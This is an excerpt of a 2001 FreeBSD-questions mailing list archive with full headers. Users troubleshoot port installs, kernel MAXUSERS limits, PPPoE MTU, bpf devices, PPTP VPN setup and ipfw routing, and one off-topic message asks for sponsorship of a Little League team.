<20011119110923.GB29835@he0.easygolucky.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011119110923.GB29835@he0.easygolucky.de>; from Manuel.Hendel@easygolucky.de on Mon, Nov 19, 2001 at 12:09:24PM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 12:09:24PM +0100, Manuel Hendel wrote: > Can't install linux_base-6.1. I get the following error message: > > **** > glibc-2.1.2-11.i386.rpm > termcap-9.12.6-15.i386.rpm > libtermcap-2.0.8-18.i386.rpm > execution of libtermcap-2.0.8-18 script failed, exit status 255 > *** Error code 1 > > Stop in /usr/ports/emulators/linux_base. > *** Error code 1 > > Stop in /usr/ports/emulators/linux_base. > *** Error code 1 > > Stop in /usr/ports/emulators/linux_base. > **** > > Can anyone give me a hint? rm -fr /usr/compat/linux and then try again. That has at least worked for me every time I got that particular error. (There are files in /usr/compat/linux left from a previous installation which didn't get deleted by pkg_delete) -- Erik Trulsson ertr1013@student.uu.se To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 3:42:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from he0.easygolucky.de (he0.easygolucky.de [62.208.187.122]) by hub.freebsd.org (Postfix) with ESMTP id 6958337B447 for ; Mon, 19 Nov 2001 03:42:04 -0800 (PST) Received: (from mhe@localhost) by he0.easygolucky.de (8.11.6/8.11.6) id fAJBgvn30181; Mon, 19 Nov 2001 12:42:57 +0100 (CET) (envelope-from mhe) Date: Mon, 19 Nov 2001 12:42:57 +0100 From: Manuel Hendel To: Erik Trulsson Cc: FreeBSD Questions Subject: Re: can't install linux_base-6.1 Message-ID: <20011119114257.GA30133@he0.easygolucky.de> References: <20011119110923.GB29835@he0.easygolucky.de> <20011119122007.A1087@student.uu.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20011119122007.A1087@student.uu.se> User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > rm -fr /usr/compat/linux > > and then try again. > That has at least worked for me every time I got that particular error. > (There are files in /usr/compat/linux left from a previous installation > which didn't get deleted by pkg_delete) > Thanks, this worked for me as well. Manuel -- When I'm working on a problem, I never think about beauty. I think only how to solve the problem. But when I have finished, if the solution is not beautiful, I know it is wrong. -Richard Buckminster Fuller To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 4:21:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from web10503.mail.yahoo.com (web10503.mail.yahoo.com [216.136.130.153]) by hub.freebsd.org (Postfix) with SMTP id 1593137B405 for ; Mon, 19 Nov 2001 04:21:07 -0800 (PST) Message-ID: <20011119122107.10124.qmail@web10503.mail.yahoo.com> Received: from [143.129.131.7] by web10503.mail.yahoo.com via HTTP; Mon, 19 Nov 2001 04:21:06 PST Date: Mon, 19 Nov 2001 04:21:06 -0800 (PST) From: Shixin YU Subject: Reboot:isa_compat didn't get ports for le To: freebsd-questions@FreeBSD.ORG MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dear FreeBSD users: I'm sorry to disturb you,I installed the freeBSD4.4 release,after installing, and when I try to reboot,there were some errors which halted the screen: "isa_compat didn't get ports for le isa_compat didn't get irq for le" so would you please tell me what's the problem? Thanks in advance! Sincerely yours, s. Yu __________________________________________________ Do You Yahoo!? Find the one for you at Yahoo! Personals http://personals.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 4:29:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from klima.physik.uni-mainz.de (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by hub.freebsd.org (Postfix) with ESMTP id B63F037B416 for ; Mon, 19 Nov 2001 04:29:40 -0800 (PST) Received: from klima.Physik.Uni-Mainz.DE (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by klima.physik.uni-mainz.de (8.11.6/8.11.4) with ESMTP id fAJCTdY17489 for ; Mon, 19 Nov 2001 13:29:39 +0100 (CET) (envelope-from ohartman@klima.physik.uni-mainz.de) Date: Mon, 19 Nov 2001 13:29:39 +0100 (CET) From: "Hartmann, O." To: freebsd-questions@freebsd.org Subject: FVWM-2.4.3 wants GNOME, but I don't! Message-ID: <20011119132330.L17467-100000@klima.physik.uni-mainz.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello. I have some trouble with FBSD 4.4-STABLE (recent cvsupdate) and fvwm-2.4.3. When trying to make 'make WITH_GNOME=no install' the build process still wants to make GNOME, but I don not wish to have GNOME! GNOME, by the way, seems to have a kind of damage in FBSD 4.4-STABLE (or with the recent branch). After GNOME builds for a while, I get an error like 'error: disk table full' and 'can not fork'. I think, after tweaking around with many kernel and memory options and a very durable problem on all of our machines in the same form this seems to be a bug in the build process of GNOME, maybe a endless loop ... I had to build fvwm-2.4.3 without the build scripts from ports to install it sucessfully, but I would like to build it by the port's script to get all patches the right way. Can anyone give a hint? Thanks. -- MfG O. Hartmann ohartman@klima.physik.uni-mainz.de ---------------------------------------------------------------- IT-Administration des Institutes fuer Physik der Atmosphaere (IPA) ---------------------------------------------------------------- Johannes Gutenberg Universitaet Mainz Becherweg 21 55099 Mainz Tel: +496131/3924662 (Maschinenraum) Tel: +496131/3924144 FAX: +496131/3923532 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 5:45:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.tala.com.br (mail.tala.com.br [200.198.183.199]) by hub.freebsd.org (Postfix) with ESMTP id 242C637B419 for ; Mon, 19 Nov 2001 05:45:08 -0800 (PST) Received: from [200.171.185.232] (helo=jean) by mail.tala.com.br with smtp (Exim 3.32 #1) id 165olo-000FhA-00 for freebsd-questions@FreeBSD.ORG; Mon, 19 Nov 2001 11:47:32 -0200 Message-ID: <020901c17108$dae93c40$1464a8c0@zoyd.net> From: "Jean R Rodrigues" To: Subject: subscribe Date: Mon, 19 Nov 2001 11:45:37 -0300 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0206_01C170EF.B5062CE0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 Disposition-Notification-To: "Jean R Rodrigues" X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0206_01C170EF.B5062CE0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_0206_01C170EF.B5062CE0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
 
 
------=_NextPart_000_0206_01C170EF.B5062CE0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 6:13: 7 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pr0n.kutulu.org (pr0n.kutulu.org [151.196.107.157]) by hub.freebsd.org (Postfix) with ESMTP id 8AA9637B405 for ; Mon, 19 Nov 2001 06:13:03 -0800 (PST) Received: (from kutulu@localhost) by pr0n.kutulu.org (8.11.6/8.11.6) id fAJEDMF58370; Mon, 19 Nov 2001 09:13:22 -0500 (EST) (envelope-from kutulu) Date: Mon, 19 Nov 2001 09:13:22 -0500 From: Kutulu To: "Hartmann, O." Cc: freebsd-questions@FreeBSD.ORG Subject: Re: FVWM-2.4.3 wants GNOME, but I don't! Message-ID: <20011119091322.B58233@pr0n.kutulu.org> Mail-Followup-To: "Hartmann, O." , freebsd-questions@FreeBSD.ORG References: <20011119132330.L17467-100000@klima.physik.uni-mainz.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011119132330.L17467-100000@klima.physik.uni-mainz.de>; from ohartman@klima.physik.uni-mainz.de on Mon, Nov 19, 2001 at 01:29:39PM +0100 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, Nov 19, 2001 at 01:29:39PM +0100, Hartmann, O. wrote: > Hello. > > I have some trouble with FBSD 4.4-STABLE (recent cvsupdate) > and fvwm-2.4.3. > > When trying to make 'make WITH_GNOME=no install' the build > process still wants to make GNOME, but I don not wish to The build process ignores the *value* of the WITH_* variables. What you want is: make -DWITHOUT_GNOME install > for a while, I get an error like 'error: disk table full' and > 'can not fork'. I think, after tweaking around with many kernel You have too low of a MAXUSERS value in your kernel config. By default, GENERIC has a maxusers value of 32, and you probably should never drop below that. It limits (among other things) the number of processes that can be running at one time. When you run out of those, make can't run the various commands it needs to run in order to build/install things. --K To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 6:36:35 2001 Delivered-To: freebsd-questions@freebsd.org Received: from grover.logicsquad.net (CPE-61-9-135-24.vic.bigpond.net.au [61.9.135.24]) by hub.freebsd.org (Postfix) with SMTP id 8409137B405 for ; Mon, 19 Nov 2001 06:36:30 -0800 (PST) Received: (qmail 64247 invoked by uid 65534); 19 Nov 2001 14:36:26 -0000 Received: from 203.49.60.114 (SquirrelMail authenticated user paulh) by grover.logicsquad.net with HTTP; Tue, 20 Nov 2001 01:06:26 +1030 (CST) Message-ID: <3466.203.49.60.114.1006180586.squirrel@grover.logicsquad.net> Date: Tue, 20 Nov 2001 01:06:26 +1030 (CST) Subject: Re: More PPPoE DSL From: "Paul A. Hoadley" To: skip.ford@verizon.net In-Reply-To: <200111182310.RAA30389937@smtppop2pub.verizon.net> References: <200111182310.RAA30389937@smtppop2pub.verizon.net> Cc: freebsd-questions@freebsd.org Reply-To: paulh@logicsquad.net X-Mailer: SquirrelMail (version 1.0.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG skip.ford@verizon.net wrote: > jacks@sage-american.com wrote: > >> If it is the 1500 mtu, what would the ifconfig (-mtu) line command be >> to change the 1500 to 1492..? > > > > Just add 'mtu 1492' to the end of your normal ifconfig command. (I'm sure you know this, Skip, but for Jack's sake...) You want to specify the MTU of the _tunnel_ device, and that should be done in ppp.conf. The MTU for the NIC should stay at 1500. -- Paul. mailto:paulh@logicsquad.net mailto:paul.hoadley@student.adelaide.edu.au To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 6:42:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.kebne.se (mail.kebne.se [212.209.134.151]) by hub.freebsd.org (Postfix) with ESMTP id A4DF337B416 for ; Mon, 19 Nov 2001 06:42:57 -0800 (PST) Received: by mail.kebne.se with Internet Mail Service (5.5.2653.19) id ; Mon, 19 Nov 2001 15:42:55 +0100 Message-ID: <31A473DBB655D21180850008C71E251A02C66E4A@mail.kebne.se> From: =?iso-8859-1?Q?G=F6ran_Asp?= To: "'questions@freebsd.org'" Subject: bpf0 still not configured Date: Mon, 19 Nov 2001 15:42:53 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi! I wanna run tcpdump and get the message "/dev/bpf0 not configured". I have followed the procedure described in "10.25 Why do I get /dev/bpf0: Device not configured" at your FAQ-list and made a new kernel but I still get the message. I'm running FreeBSD 2.2.8 Best regards /Goran Asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 7: 5:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f64.law3.hotmail.com [209.185.241.64]) by hub.freebsd.org (Postfix) with ESMTP id 3C5B237B416 for ; Mon, 19 Nov 2001 07:05:53 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 19 Nov 2001 07:05:53 -0800 Received: from 139.108.190.213 by lw3fd.law3.hotmail.msn.com with HTTP; Mon, 19 Nov 2001 15:05:52 GMT X-Originating-IP: [139.108.190.213] From: "Thor Legvold" To: freebsd-questions@freebsd.org Subject: Software for VPN's ? (long) Date: Mon, 19 Nov 2001 15:05:52 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 19 Nov 2001 15:05:53.0152 (UTC) FILETIME=[AEA21000:01C1710B] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Next question (now that the firewall and nat are finally working properly): FreeBSD 4.4-STABLE My ISP goes from an "open" NAT/DHCP system (wireless Lucent cards) to a "closed" VPN system (to make users authenticate themselves before getting on the net, and for bandwidth control) on wednsday. They say all I need is a pptp client to conenct to their server, it will give me a routable IP (at present we get non routable behind the ISP's NAT) and verify taht I'm who I say I am, and that's it - I'm on the internet. I've been searching Deja and there seems to be many ways to do this - ppp, poptop (port), mpd, mpd-netgraph, probably others. I don't really understand what a VPN is (thought I did, but I really have problems visualizing it in this particular case), so I'm not sure which package I should use. Netgraph seems particularly elegant in design, but I have no idea if it's what I need, or if there's a simpler/more efficient way to do things. As far as I know: My Lucent card gets a non routable IP via DHCP at boot time from the ISP server (this works). Routing, nat and firewall all work automagically. I point my pptp client at a static non routable IP (in the same subrange as the DHCP assigned address) where the pptp server lives. The two do pap/chap, agree I'm me, pptp server dynamically gives me a routable IP (from a pool my ISP "owns", I imagine). My routing tables have to be upgraded with all the new (post pptp) info, because the dhcp info received previously is all wrong now - right? Does this work automatically, or do I need a script somewhere after login (like with some PPP connections)? Any/all pointers recommendations appreciated :-) Regards, Thor _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 7: 9:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from he0.easygolucky.de (he0.easygolucky.de [62.208.187.122]) by hub.freebsd.org (Postfix) with ESMTP id D456737B405 for ; Mon, 19 Nov 2001 07:09:22 -0800 (PST) Received: (from mhe@localhost) by he0.easygolucky.de (8.11.6/8.11.6) id fAJFAKo31164 for freebsd-questions@freebsd.org; Mon, 19 Nov 2001 16:10:20 +0100 (CET) (envelope-from mhe) Date: Mon, 19 Nov 2001 16:10:20 +0100 From: Manuel Hendel To: FreeBSD Questions Subject: problems with plugins for mozilla Message-ID: <20011119151020.GA30613@he0.easygolucky.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'm using mozilla 0.9.5. Today I tried to install the realplayer plugin, without success. I copied the files to ~/.mozilla/plugins. Is that ok? Can anyone help solving this? Thanks, Manuel -- Every man dies; not every man really lives. -William Wallace (Mel Gibson), "Braveheart" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 7:23:43 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (oe13.law10.hotmail.com [64.4.14.117]) by hub.freebsd.org (Postfix) with ESMTP id 6AF0A37B417 for ; Mon, 19 Nov 2001 07:23:41 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 19 Nov 2001 07:23:41 -0800 X-Originating-IP: [209.195.212.67] From: "Paul '" To: Subject: Installing CURRENT Date: Mon, 19 Nov 2001 10:00:27 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Message-ID: X-OriginalArrivalTime: 19 Nov 2001 15:23:41.0241 (UTC) FILETIME=[2B438290:01C1710E] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG How do you install a 5.0 CURRENT distribution with this diskettes of an older version? I have tried going to the options section of the install screen and changing the name there from 4.3-RELEASE to 5.0-CURRENT ( i have older 4.3 diskettes) but that does nothing for me as when it gets to install time the correct files cannot be found. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 7:25:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtpf.casema.net (smtpf.casema.net [195.96.96.173]) by hub.freebsd.org (Postfix) with SMTP id 3885237B416 for ; Mon, 19 Nov 2001 07:25:23 -0800 (PST) Received: (qmail 8243 invoked by uid 0); 19 Nov 2001 15:25:21 -0000 Received: from unknown (HELO scorn.diderius.nl) (212.64.78.61) by smtpf.casema.net with SMTP; 19 Nov 2001 15:25:21 -0000 Received: from parallax.diderius.nl (parallax.diderius.nl [172.18.4.1]) by scorn.diderius.nl (8.11.2/8.11.2) with ESMTP id fAJFOlN02584; Mon, 19 Nov 2001 16:24:47 +0100 Received: from silver.ftx.diderius.nl (silver.ftx.diderius.nl [172.19.3.10]) by parallax.diderius.nl (8.11.3/8.11.3) with ESMTP id fAJFPC800729; Mon, 19 Nov 2001 16:25:14 +0100 (CET) (envelope-from walter@binity.com) Date: Mon, 19 Nov 2001 16:24:08 +0100 From: Walter Hop X-Mailer: The Bat! (v1.53d) Educational X-Priority: 3 (Normal) Message-ID: <83141508858.20011119162408@binity.com> To: Chris Appleton Cc: freebsd-questions@freebsd.org Subject: Re[2]: NAT security In-Reply-To: <917DCA667947D4118E2100AA00BAEA6E1ABC06@vonneumann.emailtopia.com> References: <917DCA667947D4118E2100AA00BAEA6E1ABC06@vonneumann.emailtopia.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG [in reply to cappleton@emailtopia.com, 14-11-2001] > So if I have a C block of ip's already assigned, and want to > incorporate bsd ipfw, I don't necessarily have to reconfigure my > network as a 192? If you have one, you can just setup your FreeBSD gateway machine to forward packets by simply recompiling your kernel with gatewaying and adding to /etc/rc.conf: router_enable="YES" and disabling natd. Typically your router would have one IP address on your class C network (which is used by the other computers as a gateway), and one IP address on the outside network, to talk to the gateway and other hosts there. > I can setup ifpw to allow connections to these ip's but with > essentially a restricted port/direction list? Yes, with ipfw you can specify exactly what traffic is allowed and disallowed. ipfw acts on a gateway like on a normal host (allow this, deny that, allow that, etc); ipfw rules are processed on the gateway before and after packets are forwarded. Setting up ipfw rules for a usual network situation is not that hard. > Would ipfilter allow me to do this as well? I have no experience with that (ipfw always did what I needed), maybe someone else can add to the story... > Is this unsafe practice - is an internal and external network a better > move (albeit more work)? I would say, if you have the blessing of having "real" IP addresses for your network, why not use them? Lots of applications do not work properly with NAT (IPsec, file transfers, Netmeeting, peer-to-peer applications..) and you have to spend time on security either way. :) > Or maybe it would actually be more work maintaining a complex ruleset? Well, some sort of ruleset SHOULD be implemented either way (for example to prevent your inside machines from participating in a DDoS attack, to prevent people on the outside to use services on your gateway, etc..), and it's fun to learn too (although I've never found a _GOOD_ ipfw tutorial on the web and it can be very frustrating too :) -- Walter Hop Updated contact information: http://www.binity.com/~walter/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 7:28:23 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.ims-1.com (mail.ims-1.com [206.61.14.245]) by hub.freebsd.org (Postfix) with ESMTP id 91F0237B417 for ; Mon, 19 Nov 2001 07:28:19 -0800 (PST) Received: from dave.ims-1.com (pb-ppp96.ims-1.com [206.61.14.96]) by mail.ims-1.com (Vircom SMTPRS 5.0.194) with ESMTP id for ; Mon, 19 Nov 2001 09:29:52 -0600 Message-Id: <5.1.0.14.0.20011119093039.01d7d980@mail.ims-1.com> X-Sender: grudm@mail.ims-1.com X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Mon, 19 Nov 2001 09:30:43 -0600 To: FreeBSD-questions@FreeBSD.ORG From: Dave Magruder Subject: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Dear sir, I am a father, and a Little League baseball coach. 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If you decide to help, we will add you as a sponsor to our web site, which my wife is building for me, (she is a web master) and place a link to your site on it. http://www.ims-1.com/~grudm/tigers/tigers.html Well enough of the sales pitch, and I thank you for reading my letter this far. If you can help? please send any product that we may raffle to: SPORTS FOR KIDS 1012 Skyline dr Poplar Bluff MO 63901 573-686-4441 thanks you very much for your time. Dave Magruder & the Poplar Bluff Tigers Little league team. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 7:35:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from clientmail.realtime.co.uk (simian.realtime.co.uk [213.52.146.137]) by hub.freebsd.org (Postfix) with ESMTP id 8CE4637B416 for ; Mon, 19 Nov 2001 07:35:13 -0800 (PST) Received: from pan.ehsrealtime.com ([213.52.146.196]) by clientmail.realtime.co.uk with esmtp (Exim 3.20 #1) id 165qRq-0002dN-01; Mon, 19 Nov 2001 15:35:02 +0000 Received: from waynep by pan.ehsrealtime.com with local (Exim 3.33 #1) id 165qQ4-00028e-00; Mon, 19 Nov 2001 15:33:12 +0000 From: Wayne Pascoe To: "Paul '" Cc: Subject: Re: Installing CURRENT References: Date: 19 Nov 2001 15:33:11 +0000 In-Reply-To: Message-ID: <86itc6vkqw.fsf@pan.ehsrealtime.com> Lines: 20 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Paul '" writes: > How do you install a 5.0 CURRENT distribution with this diskettes of an > older version? > > I have tried going to the options section of the install screen and changing > the name there from 4.3-RELEASE to 5.0-CURRENT ( i have older 4.3 diskettes) > but that does nothing for me as when it gets to install time the correct > files cannot be found. Your best bet is to install whatever version you have disks for and then cvsup your source tree to current. Then just make world and off you go. -- - Wayne Pascoe | You cannot apply a technological freebsd@molemanarmy.com | solution to a sociological problem. http://www.molemanarmy.com | (Edwards' Law) | To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 7:48:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from klima.physik.uni-mainz.de (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by hub.freebsd.org (Postfix) with ESMTP id D5F0C37B416 for ; Mon, 19 Nov 2001 07:48:34 -0800 (PST) Received: from klima.Physik.Uni-Mainz.DE (klima.Physik.Uni-Mainz.DE [134.93.180.162]) by klima.physik.uni-mainz.de (8.11.6/8.11.4) with ESMTP id fAJFmVY21473; Mon, 19 Nov 2001 16:48:31 +0100 (CET) (envelope-from ohartman@klima.physik.uni-mainz.de) Date: Mon, 19 Nov 2001 16:48:31 +0100 (CET) From: "Hartmann, O." To: Kutulu Cc: freebsd-questions@FreeBSD.ORG Subject: Re: FVWM-2.4.3 wants GNOME, but I don't! In-Reply-To: <20011119091322.B58233@pr0n.kutulu.org> Message-ID: <20011119164730.M21465-100000@klima.physik.uni-mainz.de> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Mon, 19 Nov 2001, Kutulu wrote: :>On Mon, Nov 19, 2001 at 01:29:39PM +0100, Hartmann, O. wrote: :>> Hello. :>> :>> I have some trouble with FBSD 4.4-STABLE (recent cvsupdate) :>> and fvwm-2.4.3. :>> :>> When trying to make 'make WITH_GNOME=no install' the build :>> process still wants to make GNOME, but I don not wish to :> :>The build process ignores the *value* of the WITH_* variables. What you want is: :> :>make -DWITHOUT_GNOME install All right, I'll try it ... :> :>> for a while, I get an error like 'error: disk table full' and :>> 'can not fork'. I think, after tweaking around with many kernel :> :>You have too low of a MAXUSERS value in your kernel config. By default, GENERIC has a maxusers value of 32, and you probably :>should never drop below that. It limits (among other things) the number of processes that can be running at one time. When :>you run out of those, make can't run the various commands it needs to run in order to build/install things. Definitely not, sorry. I set it up to 256 and 512, but the same effect ... :> :>--K :> -- MfG O. Hartmann ohartman@klima.physik.uni-mainz.de ---------------------------------------------------------------- IT-Administration des Institutes fuer Physik der Atmosphaere (IPA) ---------------------------------------------------------------- Johannes Gutenberg Universitaet Mainz Becherweg 21 55099 Mainz Tel: +496131/3924662 (Maschinenraum) Tel: +496131/3924144 FAX: +496131/3923532 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 7:59:28 2001 Delivered-To: freebsd-questions@freebsd.org Received: from blackhelicopters.org (geburah.blackhelicopters.org [209.69.178.18]) by hub.freebsd.org (Postfix) with ESMTP id 5E75C37B419 for ; Mon, 19 Nov 2001 07:59:20 -0800 (PST) Received: (from mwlucas@localhost) by blackhelicopters.org (8.11.6/8.11.6) id fAJFxD987035; Mon, 19 Nov 2001 10:59:13 -0500 (EST) (envelope-from mwlucas) Date: Mon, 19 Nov 2001 10:59:13 -0500 From: Michael Lucas To: "Paul '" Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Installing CURRENT Message-ID: <20011119105912.A86949@blackhelicopters.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from smak_420@hotmail.com on Mon, Nov 19, 2001 at 10:00:27AM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Short answer: you don't. You need to get a -current boot floppy set. There are so many differences between -stable and -current that, as a rule, there's no way this will work. And if you get it to install, you won't be happy. On Mon, Nov 19, 2001 at 10:00:27AM -0500, Paul ' wrote: > How do you install a 5.0 CURRENT distribution with this diskettes of an > older version? > > I have tried going to the options section of the install screen and changing > the name there from 4.3-RELEASE to 5.0-CURRENT ( i have older 4.3 diskettes) > but that does nothing for me as when it gets to install time the correct > files cannot be found. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -- Michael Lucas mwlucas@blackhelicopters.org http://www.blackhelicopters.org/~mwlucas/ Big Scary Daemons: http://www.oreillynet.com/pub/q/Big_Scary_Daemons To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Nov 19 8: 0: 2 2001 Delivered-To: freebsd-questions@freebsd.org Received: from swan.prod.itd.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by hub.freebsd.org (Postfix) with ESMTP id 8D0C837B405 for ; Mon, 19 Nov 2001 07:59:45 -0800 (PST) Received: from cpe-24-221-47-19.az.sprintbbd.net ([24.221.47.19] helo=sparky.suntreeaz.com) by swan.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 165qpk-0002BM-00; Mon, 19 Nov 2001 07:59:44 -0800 Received: from drs (drs.suntreeaz.com [192.168.254.19]) by 